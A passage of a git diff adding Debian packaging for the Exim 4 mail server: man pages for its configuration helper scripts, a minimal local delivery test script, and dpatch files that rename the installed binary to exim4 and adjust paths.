new processes would use the new configuration file, +while the original main exim daemon would still use the old configuration +file. You should use +.I invoke\-rc.d exim4 restart +instead. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH FILES +.LP +.TP +.B /var/lib/exim4/config.autogenerated +Exim's main configuration file +.LP +.TP +.B /etc/exim4/exim4.conf +Optional manually managed Exim main configuration file. Takes precedence over +debconf managed one if it exists. +.LP +.TP +.B /etc/exim4/update-exim4.conf.conf +Configuration file being written by exim4-config maintainer scripts, +which may be hand-edited, and is read as input by update-exim4.conf. + +.SH SEE ALSO +.BR exim (8), +.BR exim4-config_files(5), +/usr/share/doc/exim4\-base/ and for general notes and details about interaction +with debconf +/usr/share/doc/exim4\-base/README.Debian.gz + +.SH AUTHOR +Andreas Metzler <ametzler at debian.org> +.br +Marc Haber <mh+debian-packages@zugschlus.de> diff --git a/debian/manpages/update-exim4.conf.template.8 b/debian/manpages/update-exim4.conf.template.8 new file mode 100644 index 0000000..4b65a82 --- /dev/null +++ b/debian/manpages/update-exim4.conf.template.8 @@ -0,0 +1,92 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH UPDATE-EXIM4.CONF.TEMPLATE 8 "Feb 27, 2005" EXIM4 +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +update\-exim4.conf.template \- Regenerate exim4 configuration file template. +.SH SYNOPSIS +.B update\-exim4.conf.template [\-h|\-\-help] [\-n|\-\-nobackup] [\-o|\-\-output file] [\-r|\-\-run] + +.SH OPTIONS +.TP +.I \-h|\-\-help +Show short help message and exit +.TP +.I \-n|\-\-nobackup +Overwrite existing file, instead of keeping it as +/etc/exim4/exim4.conf.template.bak.random-number +.TP +.I \-o|\-\-output file +Write output to file instead of /etc/exim4/exim4.conf.template. +.TP +.I \-r|\-\-run +Actually do something. If this option is not specified +.B update\-exim4.conf.template +will exit immediately. This option was introduced because +.B update\-exim4.conf.template +overwrites configuration files. + +.SH DESCRIPTION +The script +.B update\-exim4.conf.template +regenerates the main configuration file template +.I /etc/exim4/exim4.conf.template +from the configuration snippets in the +.I /etc/exim4/conf.d +directory tree. +.PP +This process will overwrite all local changes in +.I /etc/exim4/exim4.conf.template +and might be useful if there are local changes in the +.I /etc/exim4/conf.d +directory tree, for example by a new mail related package dropping its +own configuration snippets in there. + +.B update\-exim4.conf.template +ignores all files in the conf.d directory that have a filename which +does not consist only of letters, numbers, underscores and hyphens +([:alnum:]_\-), similar to +.B run\-parts(8). +For easy interaction with packages extending Exim additionally +/etc/exim4/conf.d/foo/bar.rul is used instead of +/etc/exim4/conf.d/foo/bar if it exists! + +.SH ENVIRONMENT +If +.B CONFDIR +is set +.B update\-exim4.conf.template +will search for the input files below $CONFDIR/conf.d instead of +/etc/exim4/conf.d/ and will write the output to $CONFDIR/exim4.conf.template +instead of to /etc/exim4/exim4.conf.template (unless overridden with \-o or +\-\-output). + + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim4 (8), +/usr/share/doc/exim4\-base/ and for general notes and details about interaction +with debconf +/usr/share/doc/exim4\-base/README.Debian.gz + +.SH AUTHOR +Marc Haber <mh+debian\-packages@zugschlus.de> diff --git a/debian/manpages/update-exim4defaults.8 b/debian/manpages/update-exim4defaults.8 new file mode 100644 index 0000000..da74a65 --- /dev/null +++ b/debian/manpages/update-exim4defaults.8 @@ -0,0 +1,173 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH UPDATE-EXIM4DEFAULTS 8 "March 26, 2003" EXIM4 +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +update\-exim4defaults \- Manage exim4 daemon default file. +.SH SYNOPSIS +.B update\-exim4defaults +.I [ \-\-qflags flags ] +.I [ \-\-queuerunner combined|queueonly|separate|ppp|no|nodaemon ] +.I [ \-\-queuetime time ] +.I [ \-\-commonoptions options ] +.I [ \-\-queuerunneroptions options ] +.I [ \-\-smtplisteneroptions options ] +.I [ \-\-remove\-common options ] +.I [ \-\-remove\-queue options ] +.I [ \-\-remove\-smtp options ] +.I [ \-\-force|\-f ] +.I [ \-\-help|\-h ] +.I [ \-\-init ] + +.SH DESCRIPTION +.B update\-exim4defaults +allows one to set run parameters for the +.B Exim +daemon in +.I /etc/default/exim4. +Its main purpose is for interaction with packages enhancing +.B Exim +like virus-scanners that need to change the way the exim daemon is started. +.PP + +.SH OPTIONS +.TP +.I \-\-help|\-h +Print short usage instructions and exit. +.TP +.I \-\-qflags flags +Set qflags, special flags given to exim directly after the \(lq\-q\(rq. See +.B exim(8) +for more information. +.TP +.I \-\-queuerunner combined|queueonly|separate|ppp|no|nodaemon +Should the init script start one daemon that listens on the smtp port for +incoming connections and runs the queue at regular intervals +.I (combined) +, or should it start two separate daemons, one listening on the smtp port, +the other running the queue +.I (separate) +, or should the queue only be run by /etc/ppp/ip\-up.d/exim4 +.I (ppp) +, or shouldn't we run the queue at all, for example if you'd rather do this +with +.B cron +? Or should we only start a queuerunner +.I (queueonly) +or no daemon at all +.I (nodaemon) +? +.TP +.I \-\-queuetime time +In which intervals should we run the queue? This passed as option +.I \-q<qflags>time +to Exim, e.g. \-q30m or \-qq1h. +.TP +.I \-\-commonoptions options +Options passed both to queue\-running and listening instances of Exim. +.TP +.I \-\-queuerunneroptions options +Options only passed to the instance of Exim running the queue. +.TP +.I \-\-smtplisteneroptions options +Options only passed to the instance of Exim listening on the SMTP port. +.TP +.I \-\-force|\-f +Without this option +.B update\-exim4defaults +exits with an error if at least one of the options \-\-queuetime, +\-\-commonoptions, \-\-queuerunneroptions or \-\-smtplisteneroptions is used and the +corresponding value in /etc/default/exim4 is +.I already +set to a nonempty value. +.TP +.I \-\-remove\-common option +Try to remove the given option from COMMONOPTIONS. +.TP +.I \-\-remove\-queue option +Try to remove the given option from QUEUERUNNEROPTIONS. +.TP +.I \-\-remove\-smtp option +Try to remove the given option from SMTPLISTENEROPTIONS. +.PP +The \-\-remove\-commands cannot be used at the same time as any of \-\-commonoptions, +\-\-queuerunneroptions or \-\-smtplisteneroptions. The \-\-remove\-commands will +additionally remove whitespace at the beginning and the end of the option and +exchange multiple spaces wi a single one. +.TP +.I \-\-init +create a default /etc/default/exim4 file and exit immediately. Unless +.I \-\-force +was also specified +.B update\-exim4defaults +exits (successfully) without doing anything if /etc/default/exim4 already +exists. All other options are ignored. + +.SH EXIT STATUS +.TP +.I 0 +change was successful or nothing needed to be done. +.TP +.I 1 +generic error: wrong options, unreadable configuration file, etc. +.TP +.I 2 +QUEUEINTERVAL was already set. +.TP +.I 4 +COMMONOPTIONS was already set. +.TP +.I 8 +QUEUERUNNEROPTIONS was already set. +.TP +.I 16 +SMTPLISTENEROPTIONS was already set. +.TP +.I 32 +QFLAGS was already set. +.TP +.I 64 +\-\-remove\-something failed, i.e. the value of the option was not changed. +.PP +Exit codes 2 to 32 will be summed up, if more than one unsuccessful option was +given. + +.SH FILES +.TP +.I /etc/default/exim4 +The configuration file. +.TP +.I /etc/init.d/exim4 +The Exim init\-script. +.TP +.I /etc/ppp/ip\-up.d/exim4 +The queuerunner in this file also uses COMMONOPTIONS and QUEUERUNNEROPTIONS and +does not run if QUEUERUNNER=no. + + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +Andreas Metzler <ametzler at downhill.at.eu.org> diff --git a/debian/minimaltest b/debian/minimaltest new file mode 100644 index 0000000..97f5ccb --- /dev/null +++ b/debian/minimaltest @@ -0,0 +1,87 @@ +#!/bin/sh + +set -e + +# Do not run as root +if [ `id -u` = "0" ]; then + echo $0: running with id 0, exiting. + exit 0 +fi + +if ! test -x "$2" ; then + echo "\$2 $2: not exeutable" + exit 1 +fi + +# set up directorytree +if ! echo "$1" | grep -q '^/......' && test -d "$1"; then + echo \$1 needs to be absolute patch + exit 1 +fi + +echo ======================================== +echo running minimal functionality test for binary $2 in directory $1 + +top="$1/eximtest" + +rm -rf $1/eximtest/* +mkdir -p $top/var/log $top/var/spool/db $top/var/spool/input $top/var/spool/msglog $top/run $top/var/mail +cat <<EOF > $top/exim4.conf +exim_user = `id -u` +exim_group = `id -g` +log_file_path = $top/var/log/%slog +spool_directory = $top/var/spool +pid_file_path = $top/run +primary_hostname = eximtest.example.com +rfc1413_hosts = + +begin routers +eximtest: + driver = accept + transport = writetofile + +begin transports +writetofile: + driver = appendfile + file = $top/var/mail/\$local_part + delivery_date_add + envelope_to_add + return_path_add +EOF + +cat <<EOF > $top/var/mail/compare +From from@eximtest.example.com Sat May 07 12:12:12 2012 +Return-path: <from@eximtest.example.com> +Envelope-to: recip@eximtest.example.com +Delivery-date: Sat, 07 May 2011 12:12:12 +0000 +Received: from buildd by eximtest.example.com with local (Exim 4.44) + (envelope-from <from@eximtest.example.com>) + id msgid + for recip@eximtest.example.com;Sat, 07 May 2011 12:12:12 +0000 +From: Testing Exim <from@eximtest.example.com> +To: Recipient <recip@eximtest.example.com> +Subject: Test Message +Message-Id: <Emsgid@eximtest.example.com> +Date: Sat, 07 May 2011 12:12:12 +0000 + +no body + +EOF + +$2 -C "$top/exim4.conf" -bV +$2 -C "$top/exim4.conf" -be '${if bool{0}{yes}{no}} X ${if !bool{0}{yes}{no}}' +$2 -C "$top/exim4.conf" -bt local +printf 'From: Testing Exim <from@eximtest.example.com>\nTo: Recipient <recip@eximtest.example.com>\nSubject: Test Message\n\nno body\n' | \ +$2 -C "$top/exim4.conf" -odf -oep -oi -t -f from@eximtest.example.com +sed -i -e 's/^From \([^ ]*\) .*/From \1 Sat May 07 12:12:12 2012/' \ + -e 's/^Delivery-date: .*/Delivery-date: Sat, 07 May 2011 12:12:12 +0000/' \ + -e 's/^Received: from [^ ][^ ]* /Received: from buildd /' \ + -e '/^Received:/s/(Exim [^)]*/(Exim 4.44/' \ + -e '/[[:space:]]for /s/;.*/;Sat, 07 May 2011 12:12:12 +0000/' \ + -e '/[[:space:]]id /s/id .*/id msgid/' \ + -e 's/^Message-Id: [^@]*/Message-Id: <Emsgid/' \ + -e 's/^Date: .*/Date: Sat, 07 May 2011 12:12:12 +0000/' \ + $top/var/mail/recip + +diff -u $top/var/mail/recip $top/var/mail/compare +exit 0 diff --git a/debian/mtalist b/debian/mtalist new file mode 100644 index 0000000..23e03d0 --- /dev/null +++ b/debian/mtalist @@ -0,0 +1 @@ +citadel-server, courier-mta, dma, esmtp-run, hula-mta, masqmail, msmtp-mta, mta-dummy, nullmailer, opensmtpd, postfix, qmail-run, sendmail-bin, smail, ssmtp, xmail, zmailer diff --git a/debian/passwd.client b/debian/passwd.client new file mode 100644 index 0000000..2f06b8d --- /dev/null +++ b/debian/passwd.client @@ -0,0 +1,7 @@ +# password file used when the local exim is authenticating to a remote +# host as a client. +# +# see exim4_passwd_client(5) for more documentation +# +# Example: +### target.mail.server.example:login:password diff --git a/debian/patches/31_eximmanpage.dpatch b/debian/patches/31_eximmanpage.dpatch new file mode 100755 index 0000000..b8f8bf6 --- /dev/null +++ b/debian/patches/31_eximmanpage.dpatch @@ -0,0 +1,250 @@ +Description: We ship the binary as exim4 instead of exim, fix manpage + accordingly. +Author: Marc Haber <mh+debian-packages@zugschlus.de>, + Andreas Metzler <ametzler@bebt.de> +Last-Update: 2018-12-31 +Forwarded: not-needed (upstream uses the "exim" name) + +--- a/doc/exim.8 ++++ b/doc/exim.8 +@@ -1,9 +1,9 @@ +-.TH EXIM 8 ++.TH EXIM4 8 + .SH NAME +-exim \- a Mail Transfer Agent ++exim4 \- a Mail Transfer Agent + .SH SYNOPSIS + .nf +-.B exim [options] arguments ... ++.B exim4 [options] arguments ... + .B mailq [options] arguments ... + .B rsmtp [options] arguments ... + .B rmail [options] arguments ... +@@ -40,7 +40,7 @@ local message on the standard input, wit + recipients) is assumed. Thus, for example, if Exim is installed in + \fI/usr/sbin\fP, you can send a message from the command line like this: + .sp +- /usr/sbin/exim -i <recipient-address(es)> ++ /usr/sbin/exim4 -i <recipient-address(es)> + <message content, including all the header lines> + CTRL-D + .sp +@@ -125,8 +125,8 @@ ports, on multiple ports, and only on sp + .sp + When a listening daemon + is started without the use of \fB\-oX\fP (that is, without overriding the normal +-configuration), it writes its process id to a file called exim\-daemon.pid +-in Exim's spool directory. This location can be overridden by setting ++configuration), it writes its process id to a file called ++/var/run/exim4/exim.pid. This location can be overridden by setting + PID_FILE_PATH in Local/Makefile. The file is written while Exim is still + running as root. + .sp +@@ -180,7 +180,7 @@ available to admin users. + This option operates like \fB\-be\fP except that it must be followed by the name + of a file. For example: + .sp +- exim \-bem /tmp/testmessage ++ exim4 \-bem /tmp/testmessage + .sp + The file is read as a message (as if receiving a locally\-submitted non\-SMTP + message) before any of the test expansions are done. Thus, message\-specific +@@ -206,7 +206,7 @@ If you want to test a system filter file + can use both \fB\-bF\fP and \fB\-bf\fP on the same command, in order to test a system + filter and a user filter in the same run. For example: + .sp +- exim \-bF /system/filter \-bf /user/filter </test/message ++ exim4 \-bF /system/filter \-bf /user/filter </test/message + .sp + This is helpful when the system filter adds header lines or sets filter + variables that are used by the user filter. +@@ -258,8 +258,8 @@ This option runs a fake SMTP session as + standard input and output. The IP address may include a port number at the end, + after a full stop. For example: + .sp +- exim \-bh 10.9.8.7.1234 +- exim \-bh fe80::a00:20ff:fe86:a061.5678 ++ exim4 \-bh 10.9.8.7.1234 ++ exim4 \-bh fe80::a00:20ff:fe86:a061.5678 + .sp + When an IPv6 address is given, it is converted into canonical form. In the case + of the second example above, the value of \fI$sender_host_address\fP after +@@ -417,7 +417,7 @@ main configuration options to be written + of one or more specific options can be requested by giving their names as + arguments, for example: + .sp +- exim \-bP qualify_domain hold_domains ++ exim4 \-bP qualify_domain hold_domains + .sp + However, any option setting that is preceded by the word "hide" in the + configuration file is not shown in full, except to an admin user. For other +@@ -445,7 +445,7 @@ written directly into the spool director + .sp + If \fB\-bP\fP is followed by a name preceded by +, for example, + .sp +- exim \-bP +local_domains ++ exim4 \-bP +local_domains + .sp + it searches for a matching named list of any type (domain, host, address, or + local part) and outputs what it finds. +@@ -454,7 +454,7 @@ If one of the words \fBrouter\fP, \fBtra + followed by the name of an appropriate driver instance, the option settings for + that driver are output. For example: + .sp +- exim \-bP transport local_delivery ++ exim4 \-bP transport local_delivery + .sp + The generic driver options are output first, followed by the driver's private + options. A list of the names of drivers of a particular type can be obtained by +@@ -539,7 +539,7 @@ This option is for testing retry rules, + arguments. It causes Exim to look for a retry rule that matches the values + and to write it to the standard output. For example: + .sp +- exim \-brt bach.comp.mus.example ++ exim4 \-brt bach.comp.mus.example + Retry rule: *.comp.mus.example F,2h,15m; F,4d,30m; + .sp + The first +@@ -552,7 +552,7 @@ rule is found that matches the host, one + sought. Finally, an argument that is the name of a specific delivery error, as + used in setting up retry rules, can be given. For example: + .sp +- exim \-brt haydn.comp.mus.example quota_3d ++ exim4 \-brt haydn.comp.mus.example quota_3d + Retry rule: *@haydn.comp.mus.example quota_3d F,1h,15m + .TP 10 + \fB\-brw\fP +@@ -655,7 +655,7 @@ doing such tests. + .TP 10 + \fB\-bV\fP + This option causes Exim to write the current version number, compilation +-number, and compilation date of the \fIexim\fP binary to the standard output. ++number, and compilation date of the \fIexim4\fP binary to the standard output. + It also lists the DBM library that is being used, the optional modules (such as + specific lookup types), the drivers that are included in the binary, and the + name of the runtime configuration file that is in use. +@@ -683,7 +683,7 @@ If no arguments are given, Exim runs in + right angle bracket for addresses to be verified. + .sp + Unlike the \fB\-be\fP test option, you cannot arrange for Exim to use the +-readline() function, because it is running as \fIexim\fP and there are ++readline() function, because it is running as \fIexim4\fP and there are + security issues. + .sp + Verification differs from address testing (the \fB\-bt\fP option) in that routers +@@ -796,14 +796,14 @@ command line item. \fB\-D\fP can be used + string, in which case the equals sign is optional. These two commands are + synonymous: + .sp +- exim \-DABC ... +- exim \-DABC= ... ++ exim4 \-DABC ... ++ exim4 \-DABC= ... + .sp + To include spaces in a macro definition item, quotes must be used. If you use + quotes, spaces are permitted around the macro name and the equals sign. For + example: + .sp +- exim '\-D ABC = something' ... ++ exim4 '\-D ABC = something' ... + .sp + \fB\-D\fP may be repeated up to 10 times on a command line. + Only macro names up to 22 letters long can be set. +@@ -938,8 +938,8 @@ never provoke a bounce. An empty sender + string, or as a pair of angle brackets with nothing between them, as in these + examples of shell commands: + .sp +- exim \-f '<>' user@domain +- exim \-f "" user@domain ++ exim4 \-f '<>' user@domain ++ exim4 \-f "" user@domain + .sp + In addition, the use of \fB\-f\fP is not restricted when testing a filter file + with \fB\-bf\fP or when testing or verifying addresses using the \fB\-bt\fP or +@@ -1315,12 +1315,12 @@ other circumstances, they are ignored un + The \fB\-oMa\fP option sets the sender host address. This may include a port + number at the end, after a full stop (period). For example: + .sp +- exim \-bs \-oMa 10.9.8.7.1234 ++ exim4 \-bs \-oMa 10.9.8.7.1234 + .sp + An alternative syntax is to enclose the IP address in square brackets, + followed by a colon and the port number: + .sp +- exim \-bs \-oMa [10.9.8.7]:1234 ++ exim4 \-bs \-oMa [10.9.8.7]:1234 + .sp + The IP address is placed in the \fI$sender_host_address\fP variable, and the + port, if present, in \fI$sender_host_port\fP. If both \fB\-oMa\fP and \fB\-bh\fP +@@ -1526,22 +1526,22 @@ If other commandline options specify an + will specify a queue to operate on. + For example: + .sp +- exim \-bp \-qGquarantine ++ exim4 \-bp \-qGquarantine + mailq \-qGquarantine +- exim \-qGoffpeak \-Rf @special.domain.example ++ exim4 \-qGoffpeak \-Rf @special.domain.example + .TP 10 + \fB\-q\fP<\fIqflags\fP> <\fIstart id\fP> <\fIend id\fP> + When scanning the queue, Exim can be made to skip over messages whose ids are + lexically less than a given value by following the \fB\-q\fP option with a + starting message id. For example: + .sp +- exim \-q 0t5C6f\-0000c8\-00 ++ exim4 \-q 0t5C6f\-0000c8\-00 + .sp + Messages that arrived earlier than 0t5C6f\-0000c8\-00 are not inspected. If a + second message id is given, messages whose ids are lexically greater than it + are also skipped. If the same id is given twice, for example, + .sp +- exim \-q 0t5C6f\-0000c8\-00 0t5C6f\-0000c8\-00 ++ exim4 \-q 0t5C6f\-0000c8\-00 0t5C6f\-0000c8\-00 + .sp + just one delivery process is started, for that message. This differs from + \fB\-M\fP in that retry data is respected, and it also differs from \fB\-Mc\fP in +@@ -1557,7 +1557,7 @@ starting a queue runner process at inter + single daemon process handles both functions. A common way of starting up a + combined daemon at system boot time is to use a command such as + .sp +- /usr/exim/bin/exim \-bd \-q30m ++ /usr/sbin/exim4 \-bd \-q30m + .sp + Such a daemon listens for incoming SMTP calls, and also starts a queue runner + process every 30 minutes. +@@ -1588,7 +1588,7 @@ regular expression; otherwise it is a li + If you want to do periodic queue runs for messages with specific recipients, + you can combine \fB\-R\fP with \fB\-q\fP and a time value. For example: + .sp +- exim \-q25m \-R @special.domain.example ++ exim4 \-q25m \-R @special.domain.example + .sp + This example does a queue run for messages with recipients in the given domain + every 25 minutes. Any additional flags that are specified with \fB\-q\fP are +@@ -1704,6 +1704,26 @@ under most shells. + .sp + . + .SH "SEE ALSO" ++.BR exicyclog (8), ++.BR exigrep (8), ++.BR exim_checkaccess (8), ++.BR exim_convert4r4 (8), ++.BR exim_db (8), ++.BR exim_dbmbuild (8), ++.BR exim_lock (8), ++.BR eximon (8), ++.BR exinext (8), ++.BR exiqgrep (8), ++.BR exiqsumm (8), ++.BR exiwhat (8), ++.BR update\-exim4.conf (8), ++.BR update\-exim4defaults (8), ++/usr/share/doc/exim4\-base/, ++/usr/share/doc/exim4\-base/README.Debian.[gz|html]. + .rs + .sp + The full Exim specification, the Exim book, and the Exim wiki. ++ ++.SH AUTHOR ++This manual page was provided with the upstream Exim source package. ++It was enhanced for the Debian GNU/Linux system. diff --git a/debian/patches/32_exim4.dpatch b/debian/patches/32_exim4.dpatch new file mode 100644 index 0000000..967869d --- /dev/null +++ b/debian/patches/32_exim4.dpatch @@ -0,0 +1,106 @@ +Description: Accommodate source for installing exim as exim4. +Author: Andreas Metzler <ametzler@debian.org> +Origin: vendor +Forwarded: not-needed +Last-Update: 2018-12-12 + +--- a/OS/Makefile-Linux ++++ b/OS/Makefile-Linux +@@ -28,9 +28,9 @@ XLFLAGS=-L$(X11)/lib + X11_LD_LIB=$(X11)/lib + + EXIWHAT_PS_ARG=ax +-EXIWHAT_EGREP_ARG='/exim( |$$)' ++EXIWHAT_EGREP_ARG='/exim4( |$$)' + EXIWHAT_MULTIKILL_CMD=killall +-EXIWHAT_MULTIKILL_ARG=exim ++EXIWHAT_MULTIKILL_ARG=exim4 + EXIWHAT_KILL_SIGNAL=-USR1 + + # End +--- a/src/exicyclog.src ++++ b/src/exicyclog.src +@@ -149,7 +149,7 @@ done + + st=' ' + exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` +-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi ++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi + + spool_directory=`$exim_path -C $config -bP spool_directory | sed 's/.*=[ ]*//'` + +--- a/src/exim_checkaccess.src ++++ b/src/exim_checkaccess.src +@@ -52,7 +52,7 @@ done + # a tab to keep the tab in one place. + + exim_path=`perl -ne 'chop;if (/^\s*exim_path\s*=\s*(.*)/){print "$1\n";last;}' $config` +-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi ++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi + + + ######################################################################### +--- a/src/eximon.src ++++ b/src/eximon.src +@@ -79,7 +79,7 @@ config=${EXIMON_EXIM_CONFIG-$config} + + st=' ' + EXIM_PATH=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` +-if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim; fi ++if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim4; fi + + SPOOL_DIRECTORY=`$EXIM_PATH -C $config -bP spool_directory | sed 's/.*=[ ]*//'` + LOG_FILE_PATH=`$EXIM_PATH -C $config -bP log_file_path | sed 's/.*=[ ]*//'` +--- a/src/exinext.src ++++ b/src/exinext.src +@@ -97,7 +97,7 @@ if [ "$exim_path" = "" ]; then + exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` + fi + +-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi ++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi + spool_directory=`$exim_path $eximmacdef -C $config -bP spool_directory | sed 's/.*=[ ]*//'` + qualify_domain=`$exim_path $eximmacdef -C $config -bP qualify_domain | sed 's/.*=[ ]*//'` + +@@ -181,7 +181,7 @@ perl - $exim_path "$eximmacdef" $argone + + # Run exim_dumpdb to get out the retry data and pick off what we want + +- open(DATA, "${exim}_dumpdb $spool retry |") || ++ open(DATA, "/usr/sbin/exim_dumpdb $spool retry |") || + die "can't run exim_dumpdb"; + + while (<DATA>) +--- a/src/exiqgrep.src ++++ b/src/exiqgrep.src +@@ -24,7 +24,7 @@ use Getopt::Std; + use File::Basename; + + # Have this variable point to your exim binary. +-my $exim = 'BIN_DIRECTORY/exim'; ++my $exim = 'BIN_DIRECTORY/exim4'; + my $eargs = '-bpu'; + my %id; + my %opt; +--- a/src/exiwhat.src ++++ b/src/exiwhat.src +@@ -98,7 +98,7 @@ fi + + st=' ' + exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` +-if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi ++if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi + spool_directory=`$exim_path -C $config -bP spool_directory | sed "s/.*=[ ]*//"` + process_log_path=`$exim_path -C $config -bP process_log_path | sed "s/.*=[ ]*//"` + +--- a/src/globals.c ++++ b/src/globals.c +@@ -906,7 +906,7 @@ const uschar *event_name = NULL; + + + gid_t exim_gid = EXIM_GID; +-uschar *exim_path = US BIN_DIRECTORY "/exim" ++uschar *exim_path = US BIN_DIRECTORY "/exim4" + "\0<---------------Space to patch exim_path->"; + uid_t exim_uid = EXIM_UID; + int expand_level = 0; /* Nesting depth, indent for debug */ diff --git a/debian/patches/33_eximon.binary.dpatch b/debian/patches/33_eximon.binary.dpatch new file mode 100755 index 0000000..bc78cdc --- /dev/null +++ b/debian/patches/33_eximon.binary.dpatch @@ -0,0 +1,18 @@ +#! /bin/sh /usr/share/dpatch/dpatch-run +## 33_eximon.binary.dpatch by Andreas Piesk +## +## All lines beginning with `## DP:' are a description of the patch. +## DP: eximon.bin is installed in /usr/lib/exim4/ and not in path. + +diff -NurBbp exim-4.80.orig/OS/eximon.conf-Default exim-4.80/OS/eximon.conf-Default +--- exim-4.80.orig/OS/eximon.conf-Default 2012-05-18 05:04:36.000000000 +0200 ++++ exim-4.80/OS/eximon.conf-Default 2012-05-18 19:10:59.000000000 +0200 +@@ -5,7 +5,7 @@ + # The name of the eximon binary, usually the same as the eximon script, + # with .bin stuck on the end. + +-EXIMON_BINARY="${EXIMON_BINARY-$0.bin}" ++EXIMON_BINARY="/usr/lib/exim4/${EXIMON_BINARY-${0##*/}.bin}" + + # The remaining parameters are values likely to be changed to suit the + # user's taste. They are documented in the EDITME file. diff --git a/debian/patches/34_eximstatsmanpage.dpatch b/debian/patches/34_eximstatsmanpage.dpatch new file mode 100755 index 0000000..3245965 --- /dev/null +++ b/debian/patches/34_eximstatsmanpage.dpatch @@ -0,0 +1,20 @@ +Description: Add note about installing perl-modules on Debian to + generated manpage +Author: Andreas Metzler <ametzler@debian.org> +Origin: vendor +Forwarded: not-needed +Last-Update: 2013-09-28 + +--- exim4-4.82~rc1.orig/src/eximstats.src ++++ exim4-4.82~rc1/src/eximstats.src +@@ -501,6 +501,10 @@ To install these, download and unpack th + make test + make install + ++On B<Debian GNU/Linux> you can use ++C<apt-get install libgd-perl libgd-text-perl libgd-graph-perl> ++instead. ++ + =item B<-chartdir>I <dir> + + Create the charts in the directory <dir> diff --git a/debian/patches/35_install.dpatch b/debian/patches/35_install.dpatch new file mode 100755 index 0000000..d0ab602 --- /dev/null +++ b/debian/patches/35_install.dpatch @@ -0,0 +1,49 @@ +Description: Exim's installation scripts install the binary as + exim-<version> - disable this feature. +Author: Andreas Metzler <ametzler@debian.org> +Origin: vendor +Forwarded: not-needed +Last-Update: 2016-09-25 + +--- a/scripts/exim_install ++++ b/scripts/exim_install +@@ -221,6 +221,8 @@ while [ $# -gt 0 ]; do + version=exim-`$exim 2>/dev/null | \ + awk '/Exim version/ { OFS=""; print $3,"-",substr($4,2,length($4)-1) }'`${EXE} + ++ version=exim ++ + if [ "${version}" = "exim-${EXE}" ]; then + echo $com "" + echo $com "*** Could not run $exim to find version number ***" +@@ -370,10 +372,8 @@ done + + + +-# If there is no configuration file, install the default, modifying it to refer +-# to the configured system aliases file. If there is no setting for +-# SYSTEM_ALIASES_FILE, use the traditional /etc/aliases. If the file does not +-# exist, install a default (dummy) for that too. ++# Install default configuration file ++# This is a local Debian modification. + + # However, if CONFIGURE_FILE specifies a list of files, skip this code. + +@@ -396,7 +396,7 @@ elif [ ! -f ${CONFIGURE_FILE} ]; then + ${real} ${MKDIR} -p `${DIRNAME} ${CONFIGURE_FILE}` + + echo sed -e '\\' +- echo " \"/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'${ACTUAL_SYSTEM_ALIASES_FILE}'\"" '\\' ++ echo " \"/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'/etc/aliases'\"" '\\' + echo " ../src/configure.default > \${CONFIGURE_FILE}" + + # I can't find a way of writing this using the ${real} feature because +@@ -405,7 +405,7 @@ elif [ ! -f ${CONFIGURE_FILE} ]; then + + if [ "$real" = "" ] ; then + sed -e \ +- "/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'${ACTUAL_SYSTEM_ALIASES_FILE}'" \ ++ "/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'/etc/aliases'" \ + ../src/configure.default > ${CONFIGURE_FILE} + else + true diff --git a/debian/patches/60_convert4r4.dpatch b/debian/patches/60_convert4r4.dpatch new file mode 100755 index 0000000..290b913 --- /dev/null +++ b/debian/patches/60_convert4r4.dpatch @@ -0,0 +1,41 @@ +Description: Add a warning message to convert4r4 +Author: Marc Haber <mh+debian-packages@zugschlus.de> +Origin: vendor +Forwarded: no +Last-Update: 2013-09-28 + +--- a/src/convert4r4.src ++++ b/src/convert4r4.src +@@ -666,6 +666,32 @@ return defined $main{$_[0]} && 